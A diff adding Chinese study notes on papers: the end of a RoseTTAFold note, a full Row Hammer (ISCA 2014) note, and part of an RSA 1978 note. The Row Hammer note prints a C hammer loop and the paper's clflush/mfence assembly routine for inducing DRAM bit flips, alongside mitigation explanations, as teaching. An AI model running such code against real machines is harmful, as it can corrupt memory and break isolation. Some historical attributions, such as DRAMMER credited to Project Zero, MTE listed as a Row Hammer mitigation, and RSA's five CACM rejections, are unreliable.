+**适用**：
+
+- 无近缘模板的新蛋白 / 新复合物，需要**可发表质量的起步模型**
+- X 射线 MR 缺模型、cryo-EM 需先验骨架
+- 大规模人类蛋白质组、GPCR、疾病突变位点的**结构假说生成**
+- 教学：理解 MSA → 距离图 → 3D 的深度学习结构预测范式
+
+**不适用**：
+
+- 需要 **配体、糖基化、离子** 等修饰的精确几何（需专门力场或 AF3 类扩展）
+- 本质无序蛋白（IDP）——单稳态结构假设不成立
+- 膜蛋白在脂双层中的真实构象分布——预测通常是单一静态快照
+- 不做任何 MSA 搜索就想秒出结果（流水线里 MSA 往往占 ~1.5 小时）
+
+## 学到什么
+
+1. **多表示联合推理** 比「串行流水线」更强：序列、对、坐标应互相约束，而非后处理补丁。
+2. **共进化是免费的结构实验**：自然界通过进化实验已把距离信息编码在 MSA 统计里。
+3. **开源 + 可部署算力** 与 **SOTA 0.01** 同样改变科学——RoseTTAFold 让结构预测从「DeepMind 专属」变成「实验室台式机日常」。
+4. **复合物端到端** 重新定义了对接问题：搜索空间从 6 维刚体 × 构象空间，部分坍缩为「多链序列 → 联合折叠」。
+
+## 延伸阅读
+
+- 论文 PDF：[UW IPD 镜像](https://www.ipd.uw.edu/wp-content/uploads/2021/07/Baek_etal_Science2021_RoseTTAFold.pdf)
+- 前置：**trRosetta**（Yang et al., PNAS 2020）— 从共进化到深度网络的直接前身
+- 对照：**AlphaFold2**（Jumper et al., Nature 2021）
+- 后续：**RFdiffusion**（蛋白设计）、**RoseTTAFold2 / RF2**（Baker 组迭代）
+- 生物信息基础：[[blast-altschul-1990]]（序列搜索）、[[smith-waterman-1981]]（局部比对）
+- 在线工具：[Robetta](https://robetta.bakerlab.org/)、[CAMEO](https://cameo3d.org/)（盲测排行榜）
+
+## 自测题
+
+1. 三轨分别存储什么信息？为何需要双向通信而非先 2D 后 3D？
+2. 什么是 discontinuous crop？为何训练用 crop、推理却要拼回全长？
+3. 蛋白-蛋白复合物预测为何需要 **paired MSA**？与传统对接相比省掉了哪一步？
+4. pyRosetta 版与端到端版在显存、侧链、速度上如何权衡？
+5. 若 TM-score = 0.45，应如何解读？下一步该做什么实验或计算？
+
+---
+
+*笔记版本：pipeline-v3 | 面向零基础读者 | 代码示例为教学简化，非 RoseTTAFold 官方实现*
diff --git a/src/content/docs/papers/rowhammer-2014.md b/src/content/docs/papers/rowhammer-2014.md
new file mode 100644
index 000000000..4c40dd4a1
--- /dev/null
+++ b/src/content/docs/papers/rowhammer-2014.md
@@ -0,0 +1,284 @@
+---
+title: Row Hammer — 不碰邻居也能把邻居的位翻过来
+来源: https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors**（Kim、Daly、Kim 等，ISCA 2014）首次系统性地把 **Row Hammer（行锤）** 现象摆到学术界和工业界面前：攻击者**只反复读取同一条 DRAM 行**（aggressor row / aggressor 行），**从不写入、也从不直接访问**相邻行里的比特，却能让相邻行（victim row，受害行）里的电荷泄漏，最终把 **0/1 翻转**——破坏内存隔离这一基本安全假设。
+
+官方 PDF：[users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf](https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf)
+
+日常类比：
+
+> 想象一列老式公寓信箱，每个格子存一张「 charged / discharged 」的卡片代表 0 或 1。规定是：**只有打开某一层的总控电闸（wordline），才能读或写那一层的信箱**；别的层理应互不影响。  
+> 论文发现：如果你**疯狂反复开关同一层的电闸**——每次只是「打开→读一眼→关上」，从不动隔壁层的信箱——隔壁层某些格子的卡片会因为**电磁耦合、漏电通道或晶体管被反复应力**而**加速掉电**。在 DRAM 每 **64ms** 必须刷新一次电荷的窗口里，掉得够快，刷新就来不及，比特就从 1 悄悄变成 0。  
+> 你锤的是 A 层，坏的是 B、C 层—— hence「**不访问它们，却翻转它们的位**」。
+
+一句话：**Row Hammer 不是软件写错指针，而是 DRAM 物理层在工艺微缩后，「行与行之间本该绝缘」这件事做不够彻底。**
+
+## 为什么重要
+
+不理解这篇论文，后面一整条硬件安全线都接不上：
+
+- 为什么 2015 年后浏览器、JavaScript 引擎要限制 `SharedArrayBuffer`、调整计时器精度——都和 **DRAM 侧信道 / 行锤** 有关
+- 为什么 Google Project Zero 的 **DRAMMER**（2016）能在 **Android 上不用 root** 提权——根基就是 Kim 等人证明「用户态读内存就能制造位翻转」
+- 为什么 **ECC 内存** 不能高枕无忧：论文表 5 显示同一 64 位字里可能出现 **2～4 个 victim cell**，SECDED 纠一位错、检两位错，**多比特翻转可能静默通过**
+- 为什么 Intel 早在 2012 年就提交了 row hammer 相关专利，而学术界 2014 年才公开大规模实测——说明问题在业界早有认知，但**部署系统普遍低估**
+- 为什么今天 DDR4/DDR5 有 **TRR（Target Row Refresh）**、**MTE**、内存控制器里的 **probabilistic refresh**—— mitigation 谱系可追溯到本文提出的 **PARA**
+
+论文量化结论（摘要与第 6 节）：
+
+| 指标 | 数值 |
+|------|------|
+| 测试模块 | 129 条 DRAM 模块（972 颗芯片），三家主流厂商 |
+| 出现 disturbance error 的模块 | **110 / 129** |
+| 触发翻转所需最少行激活次数 \(N_{th}\) | 少至 **139K** 次（55ns 间隔、64ms 刷新窗口内） |
+| 易受干扰 cell 比例 | 最高约 **1 / 1.7K** |
+| 2012–2013 年制造的模块 | **几乎全部** 可被诱导出错 |
+
+## 核心概念
+
+### 1. DRAM 不是「一个地址一个独立盒子」
+
+DRAM 单元 = **电容 + 访问晶体管**。电容满/空表示 1/0，但电荷会自然泄漏，必须周期性 **refresh（刷新）**——JEDEC DDR3 默认约 **64ms** 刷一遍。
+
+物理布局（论文 Figure 1）：
+
+```
+        bitline（列方向，竖线）
+           │   │   │   │
+wordline ──┼───┼───┼───┼──  第 0 行（row）
+           │   │   │   │
+wordline ──┼───┼───┼───┼──  第 1 行  ← aggressor：反复 open/close
+           │   │   │   │
+wordline ──┼───┼───┼───┼──  第 2 行  ← victim：电荷被「锤」泄漏
+           ...
+```
+
+- **Row（行）**：共享一条 wordline 的一整排 cell
+- **Bank**：多行共享一个 row-buffer（sense amplifier）
+- **Rank**：多个 bank 组成一颗「内存条」上可被独立选中的一组芯片
+
+CPU 读一个虚拟地址时，内存控制器会：**ACT（打开行）→ READ/WRITE 列 → PRE（关闭行）**。Row Hammer 的本质是：**对 aggressor 行执行太多次 ACT/PRE，wordline 电压反复高低切换，干扰相邻行 cell 保电荷能力。**
+
+### 2. Disturbance error 的触发模式
+
+论文 Table 4 归纳：能诱导错误的访问模式必须 **反复 open–close 同一行**：
+
+| 访问模式 | 是否出错 |
+|----------|----------|
+| `(open–read–close)^N` | **是** |
+| `(open–write–close)^N` | **是** |
+| `open–read^N–close`（只开一次） | 否 |
+| `open–write^N–close` | 否 |
+
+根因：**反复 toggling 同一 wordline** → 电压波动 / 耦合 / 桥接故障 → 相邻行 **charge leakage 加速** → 在两次 refresh 之间 victim cell 掉电 → **bit flip**。
+
+### 3. Aggressor 与 Victim
+
+- **Aggressor row**：被疯狂激活的那一行
+- **Victim row**：出错的行；论文 **6.3 节** 论证 victim ** predominantly 是 immediate neighbors（正上/正下相邻行）**
+- 有趣细节：**只有原本处于 charged 状态（存 1）的 cell** 容易在干扰下 discharge 成 0；已 discharged 的 cell 不太「再翻一次」
+
+### 4. 三个关键时间参数
+
+| 参数 | 含义 | 论文观察 |
+|------|------|----------|
+| **RI（Refresh Interval）** | 两次 refresh 间隔 | RI 越短，victim 泄漏窗口越小，错误越少 |
+| **AI（Activation Interval）** | 两次打开同一行的间隔 | AI 越长，hammer 次数/窗口内越少，错误越少 |
+| **\(N_{th}\)** | 在 RI=64ms 内触发错误所需最少激活次数 | 三颗代表模块：139K / 155K / 284K |
+
+### 5. PARA：论文提出的低开销缓解
+
+**PARA（Probabilistic Adjacent Row Activation）**：每次 **关闭** 一行时，以很小概率 \(p\)（如 **0.001**）**额外打开并刷新** 其左右相邻行之一。Hammer 者可以疯狂敲 aggressor，但统计上相邻行迟早会被「顺带 refresh」，电荷补回来，翻转概率降到 **\(10^{-14}\)/年** 量级（Table 7）。
+
+优点：**无状态**——不必在内存控制器里给每行维护 hammer 计数器（硬件面积贵）。
+
+## 实践案例
+
+### 案例 1：用户态「锤行」最小逻辑（教学伪代码）
+
+Kim 等人在 **真实 Intel/AMD 系统** 上用用户程序诱导错误。核心不是 magic opcode，而是 **让内存控制器对同一物理 row 反复 ACT→READ→PRE**。下面 C 风格片段说明**思路**（地址需映射到同一 bank 内同一 row；真实 exploit 还要解决 **row 物理地址推断**，后文简述）：
+
+```c
+// hammer_buf： mmap 的一大块缓冲区
+// offset_aggressor： 经物理行对齐后，落在 aggressor row 内的偏移
+volatile uint64_t *hammer = (uint64_t *)(hammer_buf + offset_aggressor);
+
+// 论文有效模式：(open–read–close)^N
+// 每次读不同 cache line 可减少 CPU cache 命中，迫使 DRAM 反复打开同一 row
+#define HAMMER_COUNT 200000  // 论文 Nth 量级：139K～284K
+
+static inline void mfence(void) {
+    __asm__ __volatile__("mfence" ::: "memory");
+}
+
+void row_hammer_naive(void) {
+    for (int i = 0; i < HAMMER_COUNT; i++) {
+        // volatile 读 → 内存访问不会被编译器优化掉
+        (void)*hammer;
+        mfence();  // 序列化，避免 CPU/内存 reorder 削弱 hammer 强度
+    }
+}
+```
+
+**逐行解释**：
+
+- `volatile` + 循环：保证生成 **\(N\) 次真实 DRAM 读**，而不是被优化成读一次寄存器
+- `HAMMER_COUNT` 取 200K：落在论文测得的 **\(N_{th}\)** 附近；实际模块因厂商/年份差异很大
+- `mfence`：在教学/复现实验里常用；后续 DRAMMER 等 work 还会配合 **`clflush` 逐出 cache**，确保每次读都打到 DRAM row-buffer 路径
+- **权限**：普通用户进程只能锤 **自己映射的页**；但若 victim 数据在同一 rank/bank 的相邻 row（如同进程堆上的 guard 页、页表、函数指针），仍可能 **破坏进程内安全边界**——更高级的跨进程攻击需要 **内存喷洒 + 物理行定位**（超出本文范围，但 Kim 2014 已指出 **可能 breach memory protection**）
+
+### 案例 2：论文在 Intel/AMD 上真正诱导翻转的 Code 1a
+
+Kim 等人在 Sandy Bridge / Ivy Bridge / Haswell / Piledriver 上，用 **2GB DDR3 模块** 观察到 **数千至上万次 bit flip**（Table 2）。关键不是「读同一个地址 N 次」，而是 **选两个物理地址 X、Y，映射到同一 bank 的不同 row**，迫使内存控制器反复 **ACT→PRE** 切换：
+
+```asm
+; Code 1a — 论文 §4，在真实 x86 系统上诱导 disturbance error
+; X、Y 须落在同一 bank、不同 row（Intel 上常用 Y = X + 8MB 等启发式）
+code1a:
+    mov  (X), %eax      ; 读 row X → 触发 ACT_X … PRE_X
+    mov  (Y), %ebx      ; 读 row Y → 触发 ACT_Y … PRE_Y
+    clflush (X)         ; 逐出 cache，下次读必须再进 DRAM
+    clflush (Y)
+    mfence              ; 保证 flush 完成后再开始下一轮
+    jmp  code1a
+
+; Code 1b — 对照组：只读 X，同一 row 只 ACT 一次、中间全是列读 → 不出错
+code1b:
+    mov  (X), %eax
+    clflush (X)
+    mfence
+    jmp  code1b
+```
+
+内存控制器看到的命令序列对比：
+
+```text
+Code 1a:  ACT_X, READ_X, PRE_X, ACT_Y, READ_Y, PRE_Y, ACT_X, …  ← 反复 toggling wordline
+Code 1b:  ACT_X, READ_X, READ_X, READ_X, …, PRE_X               ← 只开一次行，无 hammer
+```
+
+**零基础要点**：
+
+- `clflush` 把 cache line 踢出去，否则 CPU 可能 **命中 L1/L2**，根本到不了 DRAM
+- 乱序 CPU 会把多次 load **排队** 到内存控制器，形成 `(reqX, reqY, reqX, reqY, …)` 的 hammer 节奏
+- Code 1a **不写 DRAM**，翻转只能来自 disturbance——直接证明「读也能破坏邻居」
+- 论文在 Memtest86+ 定制环境里跑，绕过复杂 OS 页表；但结论对 **普通用户态程序** 同样成立
+
+### 案例 3：用 Python 模拟 PARA 如何压掉 hammer 成功率
+
+PARA 没有复杂数据结构，可以用抛硬币模拟「每次关 aggressor 行时，是否顺带 refresh 邻居」：
+
+```python
+import random
+
+def simulate_para(hammer_swings: int, p_refresh: float = 0.001) -> bool:
+    """
+    返回 True 表示 victim 行在 hammer 结束前从未被 PARA refresh —— 即攻击成功。
+    hammer_swings： aggressor 被 open-close 的次数（论文 Nth ~ 1.39e5）
+    p_refresh：     每次关行时 refresh 左或右邻行的概率（论文示例 p=0.001）
+    """
+    victim_refreshed = False
+    for _ in range(hammer_swings):
+        # 关闭 aggressor 时，PARA 以概率 p 刷新相邻行
+        if random.random() < p_refresh:
+            victim_refreshed = True
+            break
+    return not victim_refreshed  # True = 攻击者赢： victim 一直没被补电
+
+# 单次试验：139K 次 hammer，p=0.001
+success = simulate_para(139_000, p_refresh=0.001)
+
+# 论文 Table 7：p=0.001, Nth=100K 时，持续 hammer 一年的错误概率约 9.4e-14
+# 蒙特卡洛：重复 10000 次看经验成功率
+trials = 10_000
+wins = sum(simulate_para(139_000, 0.001) for _ in range(trials))
+print(f"PARA 未 refresh 的比例（经验）: {wins / trials:.6f}")
+```
+
+**逐段解释**：
+
+- 内层循环对应 **每一次 aggressor 行关闭**——真实硬件在 PRE 之后掷 biased coin
+- 只要 **任意一次** refresh 命中 victim，电荷被 sense amplifier 读回再写回，hammer 累积泄漏被 **清零**
+- `p=0.001` 时，139K 次 hammer 仍可能赢 **一次都不 refresh**，但概率极小；论文算 **持续恶意 hammer 一整年** 的成功率约 **\(9.4 \times 10^{-14}\)**——对数据中心而言足够低，且 **几乎不增加正常 workload 开销**（绝大多数关行不触发额外 ACT）
+
+### 案例 4：为什么「虚拟地址相邻」不等于「物理 row 相邻」
+
+Row Hammer 发生在 **DRAM 物理行**。操作系统给你的 `malloc` 相邻指针，可能映射到 **不同 bank**，hammer A 根本碰不到 B：
+
+```
+虚拟地址：  [ page X + 0x0000 ]  [ page X + 0x1000 ]  ← 看起来挨着
+                ↓ 页表               ↓
+物理 frame：  frame 0x8a000         frame 0x3f000      ← 可能不相邻
+                ↓ DRAM 映射           ↓
+DRAM 位置：   bank2, row 101        bank5, row 7       ← hammer row 101 伤不到 row 7
+```
+
+后续 exploit（如 **DRAMMER**）大量工作花在 **reverse-engineering 内存控制器寻址函数**，把 aggressor 和 victim **喷到同一 bank 的 ±1 物理行**——Kim 2014 用 FPGA 平台可以精确指定 row；在商用 OS 上则需要 **内存占用技巧**。这是「论文证明存在」到「野外可利用」之间的工程鸿沟。
+
+## 论文实验方法（读论文时对照）
+
+1. **真实系统 demo**：x86 用户态程序，大量 DRAM 访问，在 Intel/AMD 机器上观察到翻转
+2. **FPGA 测试平台**：129 模块、可控 RI/AI、逐 row 扫描；产出 Table 3 厂商/日期统计
+3. **TestBulk / TestEach**：Bulk 测整模块；Each 对 **每一行** 单独 hammer，找出 aggressor 比例（最高 **100%** 行都可当 aggressor）
+
+Manufacture date 边界（约 2010–2011 后新 die）与错误出现强相关——说明 **工艺节点缩小后隔离变难**，不是单一厂商良率偶发事件。
+
+## 缓解与后续演进
+
+| 层级 | 方法 | 与 Kim 2014 关系 |
+|------|------|------------------|
+| 内存控制器 | **PARA**、TRR、双倍 refresh | PARA 为本文原创 proposal |
+| DRAM 芯片 | 加强 cell 隔离、产测筛选 | 厂商原有路线，论文证明仍漏网 |
+| 系统软件 | 禁止可疑 `/dev/mem`、限制 CLFLUSH 暴露面 | 降低用户态 hammer 能力 |
+| 架构 | **ECC、Chipkill** | 减轻但无法覆盖多 bit victim（Table 5） |
+
+2014 之后的重要分支（本文 **不展开 exploit 细节**，只标脉络）：
+
+- **2015 Google**：Row Hammer 与 **capability 安全**、浏览器沙箱
+- **2016 DRAMMER**：Android rootless；**double-sided hammer**（同时锤 aggressor 上下两行）降低 \(N_{th}\)
+- **2018 RAMBleed**：利用 Row Hammer **读** 相邻行 charge 状态（「不访问却读取」）
+- **DDR5** 规范把 **Adaptive Refresh Management** 写进标准——行业终于从「实验室现象」变成「每代 JEDEC 必谈项」
+
+## 与 Meltdown / Spectre 的对比
+
+| 维度 | Row Hammer (2014) | Meltdown / Spectre (2018) |
+|------|-------------------|---------------------------|
+| 层次 | **DRAM 物理** | **CPU 微架构** |
+| 操作 | 合法 **读** 自己映射内存 | 非法/误导 **推测读** |
+| 侧信道 | 直接 **改 victim 比特** | 主要 **泄漏** 不修改 |
+| 缓解主战场 | 内存控制器、DRAM 刷新策略 | 页表隔离、微码、屏障 |
+
+三类漏洞共同教训：**「架构规格保证的隔离」≠「物理实现里的隔离」**。
+
+## 读论文路线图
+
+1. **§2–3**：DRAM 组织、refresh、disturbance 背景 —— 建立 row/bank/wordline 词汇
+2. **§4–5**：真实系统 demo + FPGA 方法论
+3. **§6**：**RI / AI / \(N_{th}\)**、aggressor–victim 邻接性、charged-only 翻转 —— 核心实验章
+4. **§8.2**：**PARA** 概率分析 —— 工程上最可落地的 mitigator
+
+## 自测题
+
+1. 为什么 `(open–read–close)^N` 能出错，而 `open–read^N–close` 不行？
+2. 若把 refresh 间隔从 64ms 减半，hammer 成功率如何变化？对应论文哪张图？
+3. PARA 的 \(p=0.001\) 意味着什么？为何说它是 **stateless**？
+4. SECDED ECC 为何不能声称「完全防 Row Hammer」？
+
+## 相关链接
+
+- 论文 PDF：[kim-isca14.pdf](https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf)
+- 作者 ISCA 2014 幻灯片：[dram-row-hammer_kim_talk_isca14.pdf](https://users.ece.cmu.edu/~omutlu/pub/dram-row-hammer_kim_talk_isca14.pdf)
+- 同仓库笔记：[[meltdown-attack-2018]]、[[spectre-attack-2018]]、[[kocher-spectre-2019]]、[[lipp-meltdown-2018]]
+- 延伸阅读：Onur Mutlu 研究组 [DRAM RowHammer 项目页](https://users.ece.cmu.edu/~omutlu/pub/all-papers-by-date.html)（含 TRR、Blacksmith 等后续工作）
+
+## 小结
+
+Kim 等人 2014 年证明：**commodity DRAM 在合法访问模式下即可破坏邻近数据**，且 **110/129** 模块可复现、**139K** 量级激活即可翻转。根因是 **wordline 反复切换** 加速相邻 cell 漏电；缓解方面 **PARA** 用极小概率邻行 refresh 换取极低残余风险。Row Hammer 开启了「**内存条本身是攻击面**」的时代——之后 decade 的权限提升、浏览器沙箱突破、云多租户隔离重估，都能把 lineage 追到这里。
diff --git a/src/content/docs/papers/rsa-1978.md b/src/content/docs/papers/rsa-1978.md
new file mode 100644
index 000000000..de1e2997d
--- /dev/null
+++ b/src/content/docs/papers/rsa-1978.md
@@ -0,0 +1,263 @@
+---
+title: RSA 1978 — 数字签名与公钥密码的奠基论文
+来源: https://people.csail.mit.edu/rivest/Rsapaper.pdf
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇 1978 年发表在 *Communications of the ACM* 上的论文，全称 **A Method for Obtaining Digital Signatures and Public-Key Cryptosystems**，作者是 MIT 的 Rivest、Shamir、Adleman。它第一次给出了一种**可实际运行的公钥密码**——后来全世界都叫它 RSA。
+
+日常类比：
+
+> 想象一个带投递口的**公开邮箱**：任何人都能把信从投递口塞进去（用公钥加密），但只有邮箱主人有钥匙能打开（用私钥解密）。更妙的是，主人可以用同一把钥匙**反向操作**：在信上盖一个只有他能盖的章（私钥签名），路过的人用公开的投递口规格就能验章真伪（公钥验证），却没法伪造。
+
+1976 年 Diffie 和 Hellman 在 [[diffie-hellman-1976]] 里提出了「公钥密码」的概念框架，但**没有给出能工作的具体算法**。这篇论文填上了那个空洞：用「大整数分解困难」做陷门，把加密和数字签名两件事用同一套数学统一起来。论文摘要里甚至直接点名了应用场景——**electronic mail** 和 **electronic funds transfer**——在 1978 年听起来像科幻，今天就是 Gmail 和网银。
+
+## 为什么重要
+
+不理解这篇论文，下面这些事都讲不清：
+
+- 为什么 HTTPS、SSH、代码签名、JWT 背后都是「公钥加密 / 私钥签名」这一套范式
+- 为什么 2002 年三人拿到图灵奖——不是发明了「加密」，而是发明了**可公开分发加密密钥**而不泄露解密密钥的方法
+- 为什么 NIST 后来要搞后量子迁移——Shor 算法专门打的就是这篇论文依赖的因式分解假设
+- 为什么 CACM 审稿人最初拒了 5 次——「算法这么简单怎么可能安全」成了密码学史上最著名的误判之一
+
+论文只有约 7 页，但信息密度极高：Section II 形式化公钥系统四个性质；Section III–IV 分别讲隐私与签名；Section V 给出 RSA 构造；Section VI 用欧拉定理证明正确性；Section VII 讨论高效实现（快速幂、大素数检测）。读一遍相当于把现代 PKI 的宪法读完了。
+
+## 论文要解决的两件事
+
+Diffie–Hellman 1976 已经说明公钥系统**理论上**能做什么；RSA 1978 说明**具体怎么做**。
+
+### 1. 隐私通信（Section III）
+
+Bob 想给 Alice 发私密消息 M：
+
+1. 从「公开文件」（public file）取出 Alice 的加密函数 \(E_A\)
+2. 发送密文 \(C = E_A(M)\)
+3. Alice 用私有的 \(D_A\) 计算 \(D_A(C) = M\)
+
+关键：**Bob 和 Alice 事先不需要通过信使交换密钥**。公开文件可以放在不安全的网络上——知道 \(E_A\) 不等于知道 \(D_A\)。论文指出，这解决了经典密码（包括当时 NBS 数据加密标准）的 **key distribution problem**。
+
+### 2. 不可抵赖的数字签名（Section IV）
+
+Bob 想给 Alice 发**带签名的**消息：
+
+1. 计算签名 \(S = D_B(M)\)——对明文做「解密运算」（需要陷门置换性质 (d)）
+2. 为隐私可再套一层 \(E_A(S)\) 发给 Alice
+3. Alice 用 \(E_B(S) = M\) 验签，并可向「法官」证明 \(S\) 只能由 Bob 产生
+
+签名必须**同时依赖消息内容和签名人**——否则可以被剪贴拼接。RSA 的 \(S = M^d \bmod n\) 天然满足这一点：改一个比特，签名就完全对不上。
+
+## 核心数学构造（Section V）
+
+论文里的符号与今天教材完全一致：
+
+| 符号 | 含义 |
+|------|------|
+| \(p, q\) | 两个大随机素数（秘密） |
+| \(n = p \cdot q\) | 模数（公开） |
+| \(\varphi(n) = (p-1)(q-1)\) | 欧拉函数（秘密） |
+| \(e\) | 公钥指数，满足 \(\gcd(e, \varphi(n)) = 1\) |
+| \(d\) | 私钥指数，满足 \(e \cdot d \equiv 1 \pmod{\varphi(n)}\) |
+
+**加密**：\(C \equiv M^e \pmod{n}\)
+
+**解密**：\(M \equiv C^d \pmod{n}\)
+
+**签名**：\(S \equiv M^d \pmod{n}\)
+
+**验签**：检查 \(S^e \equiv M \pmod{n}\)
+
+论文强调：\(n\) 可以公开，但 \(p\) 和 \(q\) 因分解困难而「 effectively hidden」。知道 \(e\) 和 \(n\) 仍无法高效算出 \(d\)——必须先分解 \(n\) 得到 \(\varphi(n)\)。
+
+### 陷门单向置换（Trap-door One-way Permutation）
+
+论文 Section II 精确定义了 Diffie–Hellman 提出的概念：
+
+- **(a)** \(D(E(M)) = M\)——加解密互逆
+- **(b)** \(E, D\) 都易计算
+- **(c)** 公开 \(E\) 不泄露易算的 \(D\)——暴力试所有 \(M\) 不现实
+- **(d)** \(E(D(M)) = M\)——对未加密消息做「解密」有意义，从而支持签名
+
+性质 (c) 是**陷门**：知道 \(p, q\) 就能秒算 \(d\)；不知道就只能分解 \(n\)。性质 (d) 要求映射是**置换**——每个密文都对应唯一明文，签名才有意义。
+
+### 正确性证明（Section VI）——欧拉定理
+
+证明核心一行：
+
+\[
+M^{e \cdot d} \equiv M^{k \cdot \varphi(n) + 1} \equiv M \pmod{n}
+\]
+
+对 \(\gcd(M, n) = 1\) 用欧拉定理 \(M^{\varphi(n)} \equiv 1 \pmod{n}\)；对 \(p \mid M\) 或 \(q \mid M\) 的情况分别用费马小定理补全。论文感谢 Rich Schroeppel 改进了早期证明——说明**正确性**和**安全性**是两回事：证明加解密能还原，不等于攻击者分解不出 \(n\)。
+
+## 论文推荐的工程参数（1978 视角）
+
+Section VII 在今天看来 quaint，但历史价值巨大：
+
+- **模数长度**：两个 100 位十进制素数，\(n\) 约 200 位——1978 年认为「分解不可行」
+- **快速幂**：平方-乘算法，最多 \(2 \log_2 e\) 次乘除——RSA 加密/解密同一流程，适合硬件
+- **素性检测**：Solovay–Strassen 概率算法，100 轮后误判率 \(2^{-100}\)
+- **性能估计**：200 位消息在「高速计算机」上「几秒」——今天 2048 位 RSA 签名约 0.5–2 ms
+
+1994 年 Gardner 挑战的 RSA-129 被集群分解，证明 129 位远不够；今天 NIST 要求 **RSA-2048 起步**，与论文 spirit 相同，只是数字大了几个数量级。
+
+## 实践案例
+
+### 案例 1：用 Python 复现论文 Section V 的 toy 例子
+
+论文没有给具体数字，但用 \(p=61, q=53\) 可以手算验证整个流程：
+
+```python
+def egcd(a, b):
+    if a == 0:
+        return b, 0, 1
+    g, x, y = egcd(b % a, a)
+    return g, y - (b // a) * x, x
+
+def modinv(a, m):
+    g, x, _ = egcd(a, m)
+    if g != 1:
+        raise ValueError("no inverse")
+    return x % m
+
+def rsa_keygen(p, q, e=17):
+    n = p * q
+    phi = (p - 1) * (q - 1)
+    d = modinv(e, phi)
+    return (n, e), d  # 公钥 (n,e)，私钥 d
+
+def rsa_crypt(m, exp, n):
+    return pow(m, exp, n)
+
+# 密钥生成
+pub, d = rsa_keygen(61, 53, e=17)
+n, e = pub
+print(f"n={n}, e={e}, d={d}")  # n=3233, e=17, d=2753
+
+M = 123  # 明文（必须 0 <= M < n）
+C = rsa_crypt(M, e, n)
+M2 = rsa_crypt(C, d, n)
+print(f"加密: {M} -> {C}")      # 855
+print(f"解密: {C} -> {M2}")     # 123
+
+# 数字签名：S = M^d mod n，验签 S^e mod n == M
+S = rsa_crypt(M, d, n)
+assert rsa_crypt(S, e, n) == M
+print(f"签名 S={S}，验签通过")
+```
+
+这段代码对应论文公式 \(C = M^e \bmod n\)、\(M = C^d \bmod n\)、\(S = M^d \bmod n\)。**生产环境绝不要自己造轮子**——用 `cryptography` 或 OpenSSL，并加 OAEP/PSS padding。
+
+### 案例 2：快速幂——论文 Section VII-A 的「平方-乘」
+
+论文指出 \(M^e \bmod n\) 只需 \(O(\log e)\) 次模乘。以 \(M=9, e=7, n=143\) 为例（与 [[rsa]] 笔记中的手算一致）：
+
+```python
+def modexp(base, exp, mod):
+    """论文 Section VII-A：repeated squaring and multiplication"""
+    result = 1
+    b = base % mod
+    while exp > 0:
+        if exp & 1:
+            result = (result * b) % mod
+        b = (b * b) % mod
+        exp >>= 1
+    return result
+
+assert modexp(9, 7, 143) == 48   # 密文
+assert modexp(48, 103, 143) == 9  # 明文还原
+```
+
+1978 年论文说「special-purpose integrated circuit chips」可以加速——五十年后，每个 CPU 的 `pow(x, y, n)` 指令就是这条算法的硬件版。
+
+### 案例 3：从论文到 OpenSSL 签名（工程映射）
+
+论文 Section IV 的 \(S = D(M)\) 在工程里变成：
+
+```bash
+# 生成 2048 位密钥（对应论文：选大素数 p,q，算 n,e,d）
+openssl genrsa -out private.pem 2048
+openssl rsa -in private.pem -pubout -out public.pem
+
+# 对文件签名（哈希后做 M^d mod n，实际用 PSS padding）
+openssl dgst -sha256 -sign private.pem -out doc.sig document.txt
+
+# 验签（S^e mod n 与哈希比对）
+openssl dgst -sha256 -verify public.pem -signature doc.sig document.txt
+```
+
+论文里的「public file」演化成 X.509 证书目录和 DNSSEC；「judge」演化成 CA 和浏览器信任链。
+
+## 踩过的坑
+
+1. **把 1978 年参数当今天标准**：100 位十进制素数在 1990 年代就被分解了。**永远用当前 NIST/行业推荐长度**（2048+）。
+
+2. **裸 RSA 不安全**：论文里的 \(M^e \bmod n\) 是数学原型。确定性加密会被 chosen-plaintext 攻击；签名需要 PSS padding。Bleichenbacher 1998 攻击说明 PKCS#1 v1.5 也不总是够用。
+
+3. **混淆加密方向与签名方向**：加密用 \(e\)，签名用 \(d\)——数学对称，**语义完全不同**。把私钥 \(d\) 当「加密密钥」发给对方是经典新手错误。
+
+4. **\(M \ge n\) 时溢出**：论文要求把长消息分块，每块整数 \(0 \le M < n\)。实现里还要加 padding 防止分块边界攻击。
+
+5. **忽略论文 Section IV 的「public file 可信性」**：如果攻击者替换公开文件里的 \(E_A\)，Bob 其实在给攻击者加密。现代 PKI 用 CA 签名绑定身份与公钥——论文已预见这个问题。
+
+## 适用 vs 不适用场景
+
+**适用（学这篇论文）**：
+
+- 理解公钥密码、数字签名、PKI 的**历史与形式化定义**
+- 密码学 / 安全工程面试：从 DH 概念到 RSA 构造的完整叙述
+- 读 OpenSSL、TLS、JWT 规范前的概念地图
+- 对比后量子方案（[[ducas-dilithium-2018]]、Kyber）时理解「经典假设」
+
+**不适用**：
+
+- 直接照抄论文公式上生产——缺 padding、缺 side-channel 防护
+- 用 RSA 加密大文件——应 hybrid：RSA 包 [[aes]] 密钥
+- 长期保密数据——Shor 算法威胁下应规划 PQC 迁移（见 [[shor-algorithm]]）
+- 高频签名——优先 Ed25519 / ECDSA
+
+## 历史小故事（可跳过）
+
+- **1977 年 4 月**：逾越节晚宴后，Rivest 熬夜写出初稿；Shamir 提了 42 种候选构造，前 41 种被破，第 42 种经 Adleman 数论修正成立。
+- **1977 年 8 月**：Gardner 在 *Scientific American* 公开 RSA-129 挑战，预言分解需 \(4 \times 10^{16}\) 年。
+- **1978 年 2 月**：CACM 正式发表；此前因「太简单」被拒稿多次。
+- **1982 年**：RSA Data Security 公司成立；2000 年专利到期进入公有领域。
+- **1994 年**：RSA-129 被分解；同年 Shor 算法发表——论文的安全假设开始倒计时。
+- **2002 年**：Rivest、Shamir、Adleman 图灵奖， citation 直指本篇与公钥密码体系。
+
+英国 GCHQ 的 Clifford Cocks 1973 年已秘密发明等价系统，1997 年才解密——**独立重复发明**说明这套数学的「必然性」。
+
+## 学到什么
+
